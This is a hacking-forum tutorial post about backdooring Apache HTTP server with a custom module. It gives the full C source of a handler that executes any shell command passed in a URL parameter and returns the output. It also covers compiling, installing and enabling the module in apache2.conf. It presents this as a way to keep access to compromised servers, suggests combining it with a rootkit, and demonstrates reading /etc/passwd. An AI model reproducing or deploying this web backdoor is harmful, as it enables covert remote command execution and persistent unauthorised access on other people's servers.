Backdooring Apache HTTP server 02-01-2018, 01:01 PM
#1
[Introduction]
A few days ago I posted a tutorial about Backdooring OpenSSH-server in witch we downloaded the source code of OpenSSH and edited the source code so that it would always accept the password "master_of_puppets", we backdoored software that is meant for managing servers, now I want to open your mind and show that you can also backdoor software that wasn't necessarily meant for server management and show you another way of backdooring software - writing modules.[What is Apache HTTP server?]
Apache HTTP server is open-source software used to host web pages.[Why Apache?]
According to netcraft, Apache has the largest "Market share of active sites" that means it's commonly used so if you gain access to a server that hosts websites it will most likely use apache.![[Image: 6fGKsik.png]](https://i.imgur.com/6fGKsik.png)
[What exactly are we going to do?]
- Download apache's development headers
- Create our own module that will take requests like "/obey_your_master?cmd=<some command here>" and print out the output of our commands
- Install the module
[The process]
- {Installing apache's development headers}
Since I'm on Debian I'll be using the aptitude package manager
Code:apt-get install apache2-dev - {Writing the module}
Let's create a separate directory for our project and start writing code in our favourite text editor (I'll use nano)
So the first thing we need to do is include apache's headers:Code:mkdir bd_module cd bd_module nano bd_module.c
Now's the fun part, let's write the handler for our module, this is the function that will handle our request.Code:#include <stdio.h> #include "apr_hash.h" #include "ap_config.h" #include "ap_provider.h" #include "httpd.h" #include "http_core.h" #include "http_config.h" #include "http_log.h" #include "http_protocol.h" #include "http_request.h"
In our handler we'll check if we should handle the request, get the cmd variable from the URL, if cmd is not specified we'll set it to the command "uname -a" that gives us a bunch of information about the OS, than execute the command and print the output as a response.
Now let's register our hook and declareCode:static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; }
And let's put it all together:Code:static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } module AP_MODULE_DECLARE_DATA bd_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ };
Spoiler:
Code:#include <stdio.h> #include "apr_hash.h" #include "ap_config.h" #include "ap_provider.h" #include "httpd.h" #include "http_core.h" #include "http_config.h" #include "http_log.h" #include "http_protocol.h" #include "http_request.h" /* ============================================================================== Our module handler: ============================================================================== */ static int oym_handler(request_rec *r) { if(!r->handler || strcmp(r->handler, "obey_your_master-handler")) return(DECLINED); // Check if we need to execute this code /* Variables */ apr_table_t*GET; // Create a var table ap_args_to_table(r, &GET); // Read data from get FILE *fp; // We'll use this for popen char buff[1024]; // Buffer for output ap_set_content_type(r, "text/plain"); // Tell browsers that response is in plain text /* Get the "cmd" key from the query string, if any. */ const char *cmd = apr_table_get(GET, "cmd"); /* If no key was returned, we will set a default value instead. */ if (!cmd) cmd = "uname -a"; /* Open the command for reading. */ fp = popen(cmd, "r"); if (fp == NULL) { ap_rprintf(r, "Failed to run command\n"); return OK; } /* Read the output a line at a time - output it. */ while (fgets(buff, sizeof(buff)-1, fp) != NULL) { ap_rprintf(r, "%s", buff); } return OK; } /* ============================================================================== The hook registration function: ============================================================================== */ static void register_hooks(apr_pool_t *pool) { ap_hook_handler(oym_handler, NULL, NULL, APR_HOOK_LAST); } /* ============================================================================== Our module name tag: ============================================================================== */ module AP_MODULE_DECLARE_DATA example_module = { STANDARD20_MODULE_STUFF, NULL, /* Per-directory configuration handler */ NULL, /* Merge handler for per-directory configurations */ NULL, /* Per-server configuration handler */ NULL, /* Merge handler for per-server configurations */ NULL, /* Any directives we may have for httpd */ register_hooks /* Our hook registering function */ };
- {Compiling our module}
Code:apxs -c bd_module.c - {Installing our module}
On a system that has apache's development headers installed you can install modules using "apxs (-i installs the module) (-a enables it) module_name"
But face it: installing apache's development headers for all the systems you own is just stupid, lets do the install the manual way!Code:apxs -i -a bd_module.la
First we have to copy our module to the modules directory:
Now we have to add "LoadModule" and "<Location>" directives to apache's configuration fileCode:cp .libs/bd_module.so /usr/lib/apache2/modules/
So let's open the config file
And add these lines:Code:nano /etc/apache2/apache2.conf
And the final step is to restart apache:Code:LoadModule bd_module /usr/lib/apache2/modules/bd_module.so <Location "/obey_your_master"> SetHandler obey_your_master-handler </Location>
Code:systemctl restart apache2 - {Testing our module}
Fire up your browser and navigate to "some_sites_address/obey_your_master"
And it works!
![[Image: djN99Rt.png]](https://i.imgur.com/djN99Rt.png)
Okay so seeing the "uname -a" output is cool and all but lets read the /etc/passwd file like all the 1337 h4x0rs do
![[Image: UYCKQGR.png]](https://i.imgur.com/UYCKQGR.png)
And we are done here!
[Final notes]
Congratulations on making trough!I commented the code and left the comments from the example I totally ripped off from apache's documentation(link is with the sources), but if you still don't understand something please reply to this thread and ask :)
This backdoor executes commands as the user that is configured to run apache so this backdoor should be used with a rootkit or some other method of privilege escalation:
![[Image: hBLOPuL.png]](https://i.imgur.com/hBLOPuL.png)
Thanks for reading my tutorial! <3
[Sources]
https://news.netcraft.com/archives/2017/...urvey.htmlhttp://www.cs.uleth.ca/~holzmann/C/syste...mands.html
https://httpd.apache.org/docs/2.4/develo...guide.html
https://httpd.apache.org/docs/2.4/programs/apxs.html












![[Image: 9H83e18.png]](https://i.imgur.com/9H83e18.png)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)



















![[Image: p_237m2jx1.png]](http://c.top4top.net/p_237m2jx1.png)